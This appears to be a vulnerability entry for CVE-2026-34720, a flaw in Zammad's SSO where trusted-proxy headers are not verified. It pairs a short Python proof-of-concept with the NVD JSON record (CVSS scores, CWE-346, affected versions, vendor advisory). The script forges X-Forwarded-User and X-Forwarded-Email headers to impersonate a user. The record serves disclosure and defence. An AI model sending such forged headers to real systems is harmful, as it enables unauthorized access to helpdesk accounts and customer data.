CVE-2026-34720

import requests # Proof of Concept for CVE-2026-34720 # Description: Exploits lack of header verification in Zammad SSO mechanism to bypass authentication. target_url = "http://vulnerable-zammad-instance.com" # Common headers that might be trusted by the vulnerable SSO configuration # The actual header name depends on the specific configuration (e.g., X-Forwarded-User, X-Remote-User) headers = { "User-Agent": "PoC-Client/1.0", "X-Forwarded-User": "attacker", # Attempting to impersonate user 'attacker' "X-Forwarded-Email": "[email protected]" } try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the response indicates a successful login as the forged user.") # Analyze response cookies or body content to confirm authentication bypass else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-34720", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:22.150", "lastModified": "2026-04-17T15:25:11.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.1 and 6.5.4, the SSO mechanism in Zammad was not verifying the header originates from a trusted SSO proxy/gateway before applying further actions on it. This vulnerability is fixed in 7.0.1 and 6.5.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zammad:zammad:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.4", "matchCriteriaId": "5AC4AB35-4DD1-43F8-B481-27640E70CF8A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zammad:zammad:7.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "830AF7C5-9441-4C80-935E-C53BDB097BB1"}]}]}], "references": [{"url": "https://github.com/zammad/zammad/security/advisories/GHSA-hcv6-w4h9-p2p7", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}